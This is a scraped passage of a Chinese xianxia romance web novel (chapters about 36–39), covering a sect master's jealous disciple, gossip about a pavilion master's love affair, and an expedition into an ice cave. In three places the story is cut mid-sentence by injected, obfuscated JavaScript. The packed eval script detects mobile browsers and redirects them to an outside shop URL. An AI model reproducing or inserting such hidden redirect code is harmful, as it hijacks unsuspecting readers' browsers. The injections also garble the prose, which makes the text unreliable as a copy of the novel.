绪冥还呆愣站在原地,贺玄青皱眉问:“你想说什么?” 绪冥待在原地,一言不发。 他紧紧攥着手里的书册,绪冥知晓那皇宫给的剑法定然不能让宫主满意,于是千辛万苦为宫主寻来了崭新的剑谱。 但有了那个男人珠玉在前,他只觉得手里这剑法寒酸得送不出手了。 可是眼下这一切在绪冥眼中已然不再重要—— 谢止。 他怎么会在这里? 他怎么会在贺玄青的寝殿?! 那男人临走前的轻蔑目光犹在眼侧,绪冥用尽平生最大的忍耐力才勉强找回神智。 不,不对……风波宫和摘星阁近来有合作,虽然有些不太庄重,但贺玄青毕竟不是寻常女子,她向来一门心思只为天衍。绪冥信他们只是在彻夜畅谈。 绪冥勉强放平心绪,还是将自己今日来意道明:“宫主,我去武南峰是为了给您带功法,只是您现在可能不需要了。” 他的神色有些黯然,身为这本龙傲天小说的男主角,他有着非常无害的长相,因修习傀儡术而形成的阴郁气质更是给他增添了一抹别样的风情美感。 那本书册也不知被他握了多久,皱皱巴巴,配合浑身伤势更显可怜。绪冥是知道自己摆出什么模样最能打动人心,于是他刻意在贺玄青面前演出了这个姿态。 果然,贺玄青似有意动,微微抬手,像是想要从他手中接过剑谱。 有风拂过贺玄青的眉角发梢,此间唯有他与贺玄青二人。多年相处,贺玄青早成了他心头无可越过的、如同白月光般的存在。 那些潜藏的旖念早在辗转反侧的日日夜夜结成了绪冥的心结,和贺玄青相比,外头的那些女人就犹如繁花过眼,虽也各有意趣,但哪配与日月争辉。 料峭春风近在眼前,绪冥终还是被这春色所迷:“师尊,绪冥其实一直都……” 他的笑容很快便凝固在了脸上。 随着贺玄青抬手,他瞧见了贺玄青衣衫下遮掩着的痕迹,点点红痕宛若桃花初绽的花瓣,细细密密印在白皙的手腕,格外刺眼。 绪冥目眦欲裂,那瞬间他几乎忘了其他,伸手就要去攥贺玄青的手:“师尊,这是什么?” 他早不是未经人事的雏儿,当然知道做过什么才会留下这样的痕迹。 在发现这一痕迹之后再去找寻,绪冥发现了更多端倪。不止手腕,贺玄青的脖颈,脸侧……都有这样细细密密的桃花痕。 痕迹的主人显然是占有欲十足,以至于就连指尖都不放过,一定要印上属于自己的烙印。 ——贺玄青明明是我的所有物,她怎么可以、怎么可以越过自己委身他人? 无言的愤怒充斥了他的胸腔,绪冥想要质问,想要责备贺玄青身为女人却不忠贞。 但现实中的绪冥根本无法对贺玄青动手,他甚至没有碰到她,因为下一瞬,他就被橙芒击中,一连撞碎了屋外三座石墙,最后重重摔在了庭院外。 庭院空空荡荡,只有纯钧自庭院那株老树的树杈上探出头。他肩上停着只正给自己梳理羽毛的苍鹰,纯钧随口吐出含在嘴里的草叶,在瞧见绪冥的惨状后极夸张地惊叫了声:“哎呀!” 贺玄青自倒塌的院墙中缓步走出,她连眼都没抬,只说了句:“滚下来。” “好嘞。”纯钧动作很快,他随手将苍鹰放飞,自己则眼观鼻鼻观心站在庭前,与倒地的绪冥维持了一个水平面。 绪冥本就带着伤,此时伤口崩裂浑身是血,看这模样凄惨极了。 但绪冥此时丝毫不在乎自己的伤势,看贺玄青的目光像是在看背叛了自己的情人:“宫主,你怎可这样待我!” 纯钧的视线落在了绪冥手中的书册上。隔了足足三座院墙,他其实猜不出刚刚发生了什么,但他能判断在场这几人的情绪,知道贺玄青已对绪冥不满。这对纯钧而言,已经足够了。 绪冥手中拿着的好像是好东西,纯钧眼眸一转便有了主意:“宫主,我这次平定浮屠境有功,能不能讨个彩头。” 此次照月城之行纯钧拢共就驾了辆车,算什么功绩。 不过贺玄青知晓他在打什么主意,干脆顺着他的话说了下去:“绪冥这几日自武南峰为风波宫寻回了本剑谱,既是如此,你且拿去看看吧。” 对于修行到一定程度的武修而言,就不必再拘于自己本命法器相关的功法了,剑谱刀谱,都是可以通学的。 绪冥喉咙被鲜血堵住,却坚持发声:“师尊,这是我想要送给你的东西。” 贺玄青的声音已然压过了他:“还不谢过绪冥。” “谢谢哥。”纯钧笑得很甜,硬生生自绪冥紧攥着的手中扣走了那卷书卷。 蠢货。 一条贺玄青养的狗而已,开心了赏点甜头,这家伙还真当自己有本钱命令宫主做事了。 这下撞到硬茬了吧。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164713|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖回去。”贺玄青站在庭院前,日光下,她的神色冷得宛若经年不化的冰雪,“念你带回剑法有功,功过相抵,往后不许靠近茗惜殿半步。” “贺、玄、青!”绪冥死死扣着倒塌的砖块,“你不可以,你不……我看你们谁敢!” 方才贺玄青砸穿院墙都没人出现,此时那些宫人却不知从哪个角落相继冒了出来,他们唯唯诺诺走到绪冥身侧,没管绪冥说了什么,七嘴八舌想要将他劝回。 绪冥是贺玄青的徒弟,百年后或许风波宫会由此人继承,但如今可还未过百年,风波宫可是由贺玄青说了算。 被拉走前,绪冥最后看到的是纯钧单膝跪地,对着贺玄青报信:“方才鸷鸟传讯,说是找到了……” 贺玄青张口,吐出了一句话。 纯钧低头,态度更加恭顺:“是,宫主。” 找到了什么? 绪冥抬头想要细听,却有宫人趁乱给了绪冥一下,他的脑袋昏昏沉沉,彻底晕了过去。 听不清了。 …… 摘星阁。 平素冷清的摘星阁今日分外热闹,因为有无忧宗的莫宗主来摘星阁做客。 无忧宗虽然避世而居,淡泊名利,但无忧宗的掌门莫问舟却最喜金银俗物,还爱四处游历,算是谢止在仙盟少有的友人。 摘星阁与无忧宗交好,两位阁主宗主私交也不错,所以莫问舟无需通传便可直入摘星阁,这一次,他游历刚归,于是兴冲冲递上拜贴,想要来拜访这位在摘星阁许久未见的友人。 管事对自家阁主的朋友极重视,不仅亲自接待,还给他奉上了阁中新收的好茶。 谢止就是这个时候回的摘星阁。 莫问舟刚刚端起那杯茶,刚抿了一口,胆眼扫了眼屋外正走近的阁主。 然后噗—— 莫问舟重重将自己嘴里的茶水吐了出来。 无忧宗是个医宗。无忧宗内全是修行有成的医者,无忧宗的宗主莫文舟更是医修中的医修,手段高明,药到病除不说。市坊还有流传着关于他的阴谋论,说他其实不是个人修,而是株成了精的老参,食之可生死人肉白骨。无论这传闻是真是假,却也侧面佐证了莫问舟的医术有多精深。 这么厉害的医修自然可以一眼便诊断出病人的病状,哪怕是常人,他也能看出其内府虚实,有没有什么隐疾…… 所以他一眼便看出了谢止现在的状况—— 哇。 他只不过出门游历了几载,摘星阁的阁主就不是处子之身啦! 36. 第 36 章 自己不过出门游历几载,阁主居然已不是处子之身啦! 骤然吃到了好友的大瓜,莫问舟惊讶万分,拼命拿扇子遮掩住嘴巴才没有失态。 但话又说回来。 谢止早就到了年纪,没了童子之身岂不是很正常。 ——一点也不正常好不好。 自他与谢止相识,谢止就从未在男女之事上展露出过丝毫兴趣,莫问舟有好长一段时间都以为自己这位友人是修行童子功出身的。 眼下所有人都在看他,莫问舟尴尬笑了两声,又将茶盏拢了回去:“新婚大喜,既有了夫人,怎么也不让兄弟见见。” 谢止微微皱眉,管事脸色变得比自家阁主还快:“您说什么?” 莫问舟思索了自己的措辞,没发觉有什么不妥之处,但还是试探着纠正了自己的发言:“还未成婚,那是将要成婚吗,既已行过房事,就该早些定下来才是……” 阖府上上下下安静得吓人,莫问舟瞧见管事面如金纸,手抚胸口,像是快要晕厥过去。 摘星阁的那些人居然都不晓得。 自家好友的为人莫问舟还是有数的,他知道谢阁主行事端庄持重,绝不是那些轻浮孟浪之辈。 莫问舟有个不太好的习惯,他极喜欢凑热闹,对这些修士不屑一顾的八卦笑谈他却乐在其中,还十分钻研。他甚至利用市坊流言给自家无忧宗造过势,就比如放出消息,说自己是老参成精,运作后再让无忧宗出点专供贵族的保养品狠狠抬价。 所以在三言两语得知这个八卦的瞬间,莫问舟已然想好了标题: “惊!摘星阁阁主一朝失去元阳,罪魁祸首竟是一神秘女子!” 莫问舟双眼放光,还想再问问细节,他正饮的茶水中本泡好的茶叶却骤然萌出新芽,差点戳到他的喉咙。 谢止神色淡漠,眼眸中暗含警告:“还有事吗?” “咳……没事,没事。”莫问舟干咳几声,将茶沫尽数吐了出去,他尴尬笑了笑,脚底抹油跑得飞快:“改日再聚,在下告辞,告辞。” …… 莫问舟走了,摘星阁却依旧寂静无声。 管事扶着桌案喘息一阵,好悬没有让自己昏过去。 身为摘星阁侍奉多年的管事,其实他早就在方方面面发觉了端倪—— 自家阁主自继任摘星阁以来就不喜出门,但近日却时常夜不归宿,已经好几日没有回宗了。 之前还可以说是为了营救阁内弟子,但阁主还未归呢,元丰自个儿就已经回来了。 还有弟子在禁地打扫时瞧见阁主寝宫前的那颗古树萌出新芽,开出了一丛丛嫩粉色的桃花。 粉粉嫩嫩的……桃、花! 可那棵树明明是株杏树啊,那都是十几年没结果的老树了,阁主你这样做对得起老杏树吗? 管事眼泪都要流出来了。 他还在思索着如何巧妙引出这个话题,劝解阁主,自家阁主却沉吟起来:“陈钟,你与令夫人是如何相处的?” 陈钟便是管事的名字,他知自己在修行一道上的天分不高,早早便歇了更进一步的心思,专心致志投身于摘星阁的建设上。如今他虽然年岁未必能比得上阁主,看容貌却已是个垂髫老人。 陈钟自然是已经成了家的,他与妻子算是少年夫妻,相伴白首,儿孙绕膝,很是恩爱。 但自家房中事哪好对外头说,陈钟嗫嚅片刻,试探着发问:“阁主,你想问什么?” “我有一个朋友……” 谢止垂眸,补充了一句:“他想与一女子结亲,她事前有做出允诺,可事后却又矢口否认,不愿将他们的关系公之于众。” “那个人应该要怎么办?” “她还不答应!”管事如遭雷劈,“阁主啊!那女子有什么好,我天衍那么多娇媚女子,你何必要吊死在这一颗树上呢。” “不是我,是我的一位友人。”谢止皱眉纠正,“除却这一点,她没什么不好的。” 管事陈钟问题犀利:“三书六聘呢?” “……” “交换庚帖呢?” “……” 陈钟大怒:“什么都没有,口说无凭岂能作数!” 眼下实在太过生气,陈钟也顾不得那么多了,苦口婆心劝道:“贺玄青如今不修无情道,往日尝不到的东西,如今能尝了。以她的地位见识,与阁主相……或许只是图一时新鲜。” “若是寻常女子,就凭摘星阁的底蕴,哪怕开始不喜欢,以金钱权势利诱总还能有机会相处,可贺玄青本就有权有势,她能见到的男人有如过江之鲤,在这方面阁主对她而言又有何特殊之处?” 谢止垂下眼眸,声音有些低沉:“她失了修为,会被我……的血液吸引。” 巫血只剩下他一个,至少在这条道路上,他是无可取代的。 “她只是废了无情道又不是没再修的可能,倘若她有修为了呢?”陈钟恨铁不成钢,“阁主,以声色示人,终非长久之计,血液又能吸引人多长时间,更何况她......” 谢止视线沉沉落在陈钟肩头,他终是把口中那些想要诋毁贺玄青的话咽了下去。 “并非我对贺玄青有偏见,只是阁主,阁主……哎。” 所有话语化为一声重重叹息,陈钟看着自家阁主,“就非贺玄青不可吗?” 他没有等到谢止的回答,谢止早就失了耐心,起身离开,他的身影消失在了游廊尽头,瞧不见了。 这个问题其实根本不用问,陈钟早知晓阁主的答案。 在朝廷传出贺玄青修炼无情道的那日,谢阁主就去闭了死关。说是闭关,实际上就是去鸿蒙境呆了整整两年。 鸿蒙境造出的小幻境可用来磨炼修士道心,这本没有什么,大部分内修修士都是这样修行的。但两年后,谢止嘴上说着早已斩断妄念,却带回了一个酷似贺玄青的凡间姑娘。 鸿蒙境带出来的东西哪能是什么正常姑娘,可谢止却偏偏认了死理,还要与那东西结亲。阁主执意如此,他们这些做下属的又如何能够阻拦。 是以当年贺玄青闯入摘星阁夺走那名女子,陈钟睁一只眼闭一只眼,没有阻拦。一方面是此子却是有异不似常人,另外一方面,是陈钟有私心,他心想倘若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178157|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁主目睹了这一切,是否就能认清真相,不再执于贺玄青。 但事情的走向却完全出乎了陈钟的预料,谢止强行闯入风雪涧,接连打伤朝堂好几位宗师级强者,却还是没能将那女子救回来。 自那以后,摘星阁与风波宫彻底交恶,敌对了近三十年,仙盟与朝廷的盟约也变得岌岌可危。他知自己犯下滔天大祸,想请辞离开管事之位,阁主却将他留了下来。 如今贺玄青不再修行无情道,对阁主而言,是转机还是另一道砒霜,陈钟不知晓。 他只是看着原处茂茂群山,极清浅地叹了一口气。 自那日之后他便明白了阁主的态度,这件事,终不是他能够再插手了。 ...... 继禁地杏树长桃花之后摘星阁又出现了新的秘闻,据说苍坪山的杏树一夜间花落遍地,枝丫全秃啦! 小弟子们簇拥在一起叽叽喳喳,引进据典讨论着能形成这一奇景的原因。 但这份平静祥和很快便被一个场景打破。 有一小弟子高举一物前来,慌慌张张对众人说:“阁、阁主,风波宫送来了东西,说是投桃报李。” 那小弟子一边跑,一边嘟嘟囔囔:“真是奇了怪了,投桃报李,可摘星阁什么时候给风波宫送过东西,况且正经送东西不该递上拜帖送来吗?怎么是绑在鸟腿上送来的?” 绑得还是风波宫用来传讯的鸷鸟。小弟子取的时候都小心翼翼,生怕被这鸟啄了眼睛。 原本凑在一起讨论奇观的弟子们不讨论了,他们乌泱泱凑到了那小弟子面前,各个探着脑袋打算看风波宫送来了什么东西。 那是枚做工精巧的玉佩,其上一条小蛇卷着尾巴抹眼泪的样子活灵活现。 虽然物种不同,性格也截然不同,但雕刻的工匠很能抓住人物神韵,摘星阁众人还是一眼便认清了这条蛇的雕得是谁。 ——这明明雕的就是自家阁主! 自家阁主明明光辉伟岸,冷静强大,风波宫却将阁主雕刻成了掩面哭泣的脆弱模样。 还雕成蛇这种动物,风波宫想隐射什么? 这哪里是送礼?这就是风波宫给摘星阁下的战书啊! 仰慕阁主许久的小弟子们当即忍不住了,纷纷挥起手中武器:“抄家伙和他们风波宫的人拼了!” “拼了!” 摘星阁众弟子们群情激昂,声音震荡九霄。 但这声音并没有持续多久,后排有弟子瞧见了道高大身影,登时噤了声。 “阁、阁主。” 为首那弟子还未反应过来,只觉得手上一轻,那枚玉佩便落在到了谢止的手中。 谢止低着头看着手中玉佩,小弟子们各个缩得像个鹌鹑,根本不敢看阁主此时的脸色。 良久后,他们终于听到了阁主的声音:“散了吧。” 小弟子们各个如蒙大赦,纷纷作鸟兽般散开。 只有为首那名弟子有些疑虑,他刚刚看到阁主离开的时候,手里还握着那枚玉佩,并没有丢下。 阁主这是…… 收下了? …… 38. 第 38 章 风雪涧内。 剔透晶簇挤在洞壁两侧,散着莹莹微光,看上去无害又美丽。 元丰走在队伍后头,因为太讨厌绪冥,他没有和大队伍走在一起,甚至没有与摘星阁的诸位师兄师姐们同行。他正闷头走着,脖子就被一把勾住。 “小兄弟,我忽然起了兴致,打算写本新的话本,你瞧这个故事怎么样。” 勾着他脖子的医修没有丝毫见外,热情地就像自己是他多年未见的好兄弟一般,甚至还热络分享起了自己的副业。 应当是在消遣自己吧,哪个医宗的好人家会闲着没事干跑去写话本。 他瞧不明白这个医修不去和无忧宗的同类凑在一处,非得和他一个名不见经传的小弟子挤在一起做什么。 但腿长在别人身上,别人爱走哪里走哪里。元丰只得板着一张脸,应付着回答:“写。” 那医修像是丝毫看不出他的冷淡之意,还在分享着自己的思路: “就说这两位主角师出同门,青梅竹马,两小无猜。师兄对师妹暗生情愫,两人商议着携手逃出宗门,师妹家中却突逢变故,二人就此分别。师妹离开,师兄孤身一人在宗门苦熬着,日日夜夜记挂自己的师妹,只期许终有一日能与师妹再见上一面。” “终于有机会再相见,师兄与小师妹擦身而过,发现师妹早已认不得自己。”医修说了一连串,“多年后再相见,师妹与先前派若两人,她早已成了人人都望其项背的存在,但她抛下了所有与他相关的过往,还修行功法断绝情爱,彻底与他断了往来。” 医修笑眯眯询问元丰:“小兄弟,你猜猜看那师兄怎么想。” 像是个缠绵悱恻的爱情故事。 元丰不太喜欢看这些,他思索着,疑惑回答:“久别重逢,自然是心生欢喜。” “不对,不对。”那医修笑着晃了晃手中折扇,“是恨。” 元丰瞪大眼睛。医修却像是沉浸在了自己营造的情绪里: “那师兄日日夜夜都被噩梦惊扰,他所记挂的好师妹却安安稳稳丝毫不受影响。他就会想,凭什么啊,你凭什么一个人过得潇洒,却将我一个人留下来,留在他们的回忆之中。” “若是心胸开阔的人经历这些或许只会一笑而过,可那师兄却不是,那师兄气量很小,他瞧见了抛下自己平步青云的师妹,爱意已然在漫长的等待中疯长变质,恨意与爱意相伴而生。” “恨透了恨毒了恨疯了,恨不得生啖其肉生饮其血生吞其骨……你看,多带劲。” “只是可惜啊。”那医修叹了口气,“要不是害怕被我那心眼不大的好兄弟报复算计,我就真把这故事记录下来,定能挣它个盆满钵满……对了,小兄弟,听人说之前你跟你家阁主一同出门历练,有没有发现你家阁主的反常之处?” “哪有什么,不就是正常宗门历练,也就是阁主又和风波宫宫主打起来了,过了很久才回宗门……”那医修的语调一板一眼,不带什么情绪,元丰没听出什么带劲的东西,只听出了一身鸡皮疙瘩:“你写的这……” 你写的这是爱情故事吗? “啊啊啊啊啊!” 元丰的话没有说完,因为远处人群中忽然传出一声惊叫,元丰顺着声音看去,就看到一人倒在地上,看上去像是失了生机。 有一朵晶莹的冰花悄然落在此人胸前,看上去就像是某种别人为制作的俗套恶作剧,元丰的瞳孔却紧缩起来。 受害者不止一个,在那倒地之人的旁边,有数十名修士也是同样的处境,他们身上长出的冰花就与洞穴角落随处可见的无害冰簇相同。 那些本不被人注意的冰花却在此时成为了某种杀人预兆,他们却偏偏不知道这些修士为何中招。 眼前这场景像极了之前在照月城的时候,纯钧曾经的劝解言犹在耳,元丰急切地呼唤起来:“诸位,保守本心,注意不要被情绪左右!” 人群闹哄哄的,无人在乎一个蹲在后头的小弟子说了什么。那原先倒地的修士忽然站了起来,迅猛袭向离他近的修士。 “……得道啦……飞升,飞升……”修士口中喃喃自语,九节软辫飞舞着袭向周围修士,好在那些修士也不全然是饭桶,几名修士合力将此人禁锢在了原地。后头却又有被感染的修士冒了出来,霎时间无数刀枪剑戟站成一团,原先静谧的洞穴充斥着叫骂声和那些被感染修士的狂妄呓语。 眼看着受害者越来越多,元丰有些急切,他还想采取其他措施,却看原先还站在他身旁的医修快步走入人群,瞬息间,便被数十名感染的修士包围。 “呵呵,道爷我不同你们玩啦……” “……黄金万量,功德无上……” “得道,飞升……” “小心!”元丰深吸一口气,也跟着那医修冲入被感染的修士群中,好在他也并非莽撞行事,他早在照月城的实践中获得了些许控制幻灵的经验,此时他一把握住藏在怀中的骨笛,下意识便要释放幻灵。 咯啦啦。 那群修士如同断了发条的机器,头插银针,齐刷刷倒在了地上。 局势变幻太快,元丰呆滞地站在原地,被揉了脑门才反应过来。 “多谢小兄弟了。”那医修手抚折扇,此时此刻,元丰才发觉他一直把玩着的折扇并非是为了附庸风雅的俗物,数根银针藏在扇骨,在他的指尖泛着寒芒。 人群中,有人认出了那医修的身份,惊呼出声:“这扇中银针……是无忧宗宗主!” “一朝化解,不愧是神医莫问舟!” 莫问舟在众人夸耀下高高昂起头颅,他白衣飘飘,更显医者风骨,出尘脱俗。与他同样着装的无忧宗众弟子们和掌门与有荣焉,跟着一起昂首挺胸。 “他不是四处云游吗?来风雪涧干什么?” “完了不会是想来打听我们八卦卖去市坊挣钱吧。” “听说之前他打听到济州府的秘闻,上门要了好大一笔银子打发才肯走。” “怪不得躲后面呢,还改换容颜,原来是怕我们看见,诶,你方才有没有说些什么,千万别教他听见了。” 这些人说得声音不大,但在场的都是修士,几乎所有人都听见了。无忧宗众弟子原本挺起的胸膛又垮塌了下来。结合此人之前的言论,元丰用看大坏蛋的眼神看着莫问舟。 莫问舟冷笑一声,硬生生用自己的威胁目光逼得刚刚还在讨论他勒索行为的小修士闭上了嘴,他则朗声对众人道:“诸位,保持本心,倘若不会的,可以去念念清静经。” 同样一句话,元丰说他们不理会,但莫问舟一开口,这些修士就纷纷应和起来。 元丰察觉到自己被轻轻戳了几下,他转头,瞧见个修士摸到了自己旁边,悄悄同自己商量:“小兄弟,看你打扮的像是个道士,清静经借我一本。” 元丰难以置信:“你都进风雪涧了,这东西还不会背吗?” 这些经文都是入门知识,不分武修内修都得掌握,连这都不会背,哪能算得上修士。 “你到底是不是道士。”那人恼羞成怒,“这样,你开个价,我出钱,找你买一本总行吧。” “不是钱的问题,你要不懂其道理,光念经哪会有用……”元丰耐心解释,却瞧见莫问舟也被人围了起来。 那群人挤挤攘攘,为首那妇人怀中抱着个人,走到了莫问舟的身边:“神医,快帮我救救我家少主人。” 他们指的是先前倒地后被众人制服的那位修士,只不过那名修士身上的浮雪莲已经趋近长成的状态,看样子要较之前那些修士严重许多,已呈现出衰败之势。 莫问舟摇了摇头,语气冷漠:“无药可救了。” “你看都不看怎么知道?”为首美妇厉声道,“这可是东城家的少主!” 东城家,以九连鞭法闻名于世,在天衍也是个底蕴深厚的显赫名门,轻易不会有人得罪。 “阎王要你死,还能换个人不成?”莫问舟笑出了声,“你既心疼你家少主,又何必让他这点修为还跑来这里送死。” 妇人厉呵:“你本就混在人群里,肯定瞧见了我东城家少主落难,为何不救?” 莫问舟声音冷淡:“腿长在他身上,我又不是。” “我看你就是在针对我东城家……”那女子骤然翻脸,她从怀中抽出长鞭,冲着莫问舟的脸砸去。 这两人无论是哪个大家都惹不起,众人唯恐殃及池鱼,纷纷向后退去,人群乌泱泱留出了个巨大空档。 莫问舟根本不害怕,他手腕略翻,银针直射而出,是要戳瞎那妇人的眼睛。 啪—— 鞭子在半空被反弹回腰间,银针噼里啪啦落了一地,两人都没能如愿。 因为一把长剑突兀地横在他们二人中间,巍然不动,挡住了两人的攻击。 屡次三番被人打断,妇人怒极,厉声训斥:“你又是谁?” 莫问舟的视线在自己掉在地上的银针上扫过:“你是风波宫的人,先前怎么没瞧见过你?” “在下风波宫常无。”执剑人眉心有一点红痣,男人嘴角噙着笑,“在下学艺不精,宫主一直将我留在宫中念书,不常见人。” 常无先是转向莫问舟:“莫宗主的银针在下会进行赔补。” 莫问舟冷哼一声,没再计较此事。 常无转头看向那东城家的女子:“斯人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273980|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已逝实在可惜,风波宫会遣人扶灵柩归宗。” 美妇扬眉:“我家少主好端端的死在风雪涧,至少得有个交代。” “进风雪涧之前我等便告知过风险。”面对来人气势汹汹的逼问,常无脸上笑容未变,“况且令公子修为不精,实属拖累,也不知是否到了选拔标准。” 美妇瞪圆了眼睛:“放肆!你是个什么东西也敢议论我家少主!” 常无拱手作揖:“在下在风波宫职权太低,贵宗少主的确不是在下能够议论的。若您执意要在下给出解决方案,在下只得请宫主她老人家出来了。” “只不过您也知道,我家宫主行的是审判剑,得到结果怕是不会太体面……” 贺玄青是个疯女人,要是被她揪住把柄,她才不会管城东城西,她是真的做得出来屠戮世家这种事。 美妇的脸色一下子变得精彩纷呈,她愤然转身,带着一众门内弟子扬长而去。 常无转过身,面带微笑朝向众人:“绪冥不知所踪。按照风波宫的规矩,在绪冥回来前,暂由我代行管事之责。” 方才又是被感染的修者又是神医的事情牵着,众人注意力被转移,如今经过他的提醒,众人这才发现原本处于对首的绪冥竟不知所踪,好像先前那两位乘凤家的两位千金也不见了。 在这种状况下,失踪可算不上好事,乘凤家的家丁护卫焦急看向常无,想要从他口中得到答案。 “诸位也看见了,被感染的修士会转而攻击在场诸位修士。”常无像是一点走不在乎绪冥的死活,对众人道,“修为不到标准的修士,请沿着原路返回,还赖在这里不走的,既然留下来也终归一死,我们风波宫不妨先送你们一程。” 他笑容得体,仪态落落大方,配合着眉心红痣,显得高傲矜贵,气度不凡。 还有修士不肯放弃,不岔道:“你怎么知道在场这些修士修为够不够。” “确实是个问题。”常无摸了摸下巴,抽出了袖中剑,“这样,打得过我的,便算合格。” 这等发言实在狂妄,但也确实足以唬住那些不入流的修士。 东城家的少主人虽然不过是酒囊饭袋,但方才出手的美妇却是有真才实学的。众人刚才目睹他只一剑便挡住了两位强者的攻击,知晓这人的剑绝不简单。 很快,人群中便有人做下了决定:“如果我们放弃离开,能送我们出去吗?” 常无颔首:“不执意入风雪涧的都是我们风波宫的客人,在下自然要以礼相待。” 那些人对视一眼,做下决定。 这洞穴实在邪门,他们早就萌生了退意,不过是觉得自己独自离开还不如留在这里跟大部队待在一起,但现在有了常无的承诺,他们就再也没有坚持的必要。 人群一下子乌泱泱少了大半,常无也没有丝毫恼怒的意思,他数着剩下的人数,重新迈步就要往深处走,却被人叫住。 “我们家两位小姐连带着贵宫弟子失踪,你不找吗?” 常无淡然:“既入风雪涧,生死自负。” 乘凤家主最宠的就是自家这两位千金,倘若真的死在洞里,他们绝对会被家主问责,那修士听到常无轻飘飘的话,只觉得心中大怒,口不择言:“才入洞就那么难,当年贺玄青杀世家杀勋贵那么畅快,你们风波宫是不是故意在找由头骗世家进来送死!” 风雪涧深处漆黑一片,似乎永远看不到尽头。至于那些模样漂亮精美的浮雪莲,众人早就领会过他们的威力,知道那不过是引诱众人前进的毒饵。 这仆从的话放往日或许没有人会信,只会觉得是在危言耸听。 但方才那些修士的死状历历在目,昏暗环境下,众人本就神经绷紧到了一定界限,极容易被煽动。在场留下来的也多半是勋贵世家亦或是仙盟亲族弟子,他们看着常无的视线变得不善。哪怕是无门无派的散修也有些害怕,唯恐风波宫清算,祸及自身。 “这有什么好难的。”常无看着面前那些叫苦叫难的修士,笑容微哂,“当年宫主踏入风雪涧时,不过才十七岁。” “况且路在你们脚下,诸位想走就走。在下可从未阻拦过。” 裕宗四十一年,清禾公主殡天,天衍接连陨落三位皇族血脉,举国同丧。 十年后,风波宫宫主离奇身亡。 又一年,新宫主继位。 那位宫主年纪太轻,在朝中也没什么资历,照理来说很难服众。但事实上,无人质疑过新任风波宫宫主是否德不配位。 因为贺玄青能上位凭借的是她过人的功绩,而她最大的功绩,不是杀那些犯了错的世家勋贵,而是诛邪魔,一人一剑,只身走出了风雪涧。 39. 第 39 章 常无话音落下,四下寂静无声。 众修士相互对视着,竟然真的不再反驳,安静行走起来。 贺玄青走马上任时,元丰都还没出生,他转头询问不知道何时又出现在自己身边的莫问舟:“真的吗?” 莫问舟伸手比了个大拇指:“保真,女中豪杰。” 十七岁,那就与自己同年龄,元丰代入了自己进去的样子,登时打了个冷战:“她为什么要去风雪涧这种地方?” 他十七岁都还未辟谷呢,就已经有同龄人在风雪涧斩妖除魔了,人与人果真不能同日而语。 “谁晓得。”常无耸了耸肩,“可能是为了精进修为?那群武修脑子简单得很,为了修行各个都是武疯子,命都不要了。” 元丰回忆了一下自己见识过的那两个风波宫的武修,深以为然:“你说得很有道.....” 他的话没有说完,只听得一爽朗男声响在众人耳侧:“我刚隔老远没有听见,刚才是谁说要战的?” 元丰循声看去,那人看着年岁不大,但肌肉横结,虎体胸腰,背后还扛着把足有半人高的宽剑。 他是从洞穴深处走来的,有几位修士连滚带爬跑到了那男子身边:“少、少主,你怎么跑那里去了,教小的们好找。” “找什么找,没出息的东西!”那男子横眉冷嘲,“我一个大活人,还能丢了不成。” 那确实丢了不少啊。 几位修士迫于自家少主威严不敢反驳,委委屈屈站到男子身后,这男子也毫不含糊,走到了常无身前,上下大量着他:“就是你要比试对不对,没见过的生面孔,你是哪个?” 常无面带微笑:“在下风波宫,常无。” “摧岳宗,叶经义。”男子根本不在乎这人是谁,“那常什么没的,拔剑吧。” 常无微笑着,手上却一动不动。 叶经义挑眉,面色有些不善:“怎么着,要反悔?” 又来一个得罪不起的宗门,听说摧岳宗那位叶少主是个武蒙子,酷爱与人斗武,若是遇见了能与自己一战的对手,必会纠缠到对方答应比试为止,现在看传言居然是真的。 眼看这少主是非要在这里比试不可了,强者对战又一时半会儿结束不了,元丰苦笑,对莫问舟抱怨:“这少主又是打哪儿冒出来的。” 眼下一桩事刚平又一桩事起,他们这群人硬生生在这里留了近五个时辰,元丰叹气:“我们还得拖多久才能继续走啊。” “不亲身参与,却能隔空拨弄命理,使之按照自己既定的结局前行且环环相扣,有点像是我老朋友的手笔。”莫问舟神情古怪,“我总有预感,我们是走不进风雪涧的。” 元丰之前好像听他提起过老朋友,随口问:“你说是那个恨海滔天?” 莫问舟苦笑:“可能是恨屋及乌吧。” “常无!”方才就被常无忽视过一次,眼下因叶经义打扰又被忽视了的乘凤家侍从终于忍无可忍,爆发出一声怒呵:“我家小姐究竟在何处?!” ....... 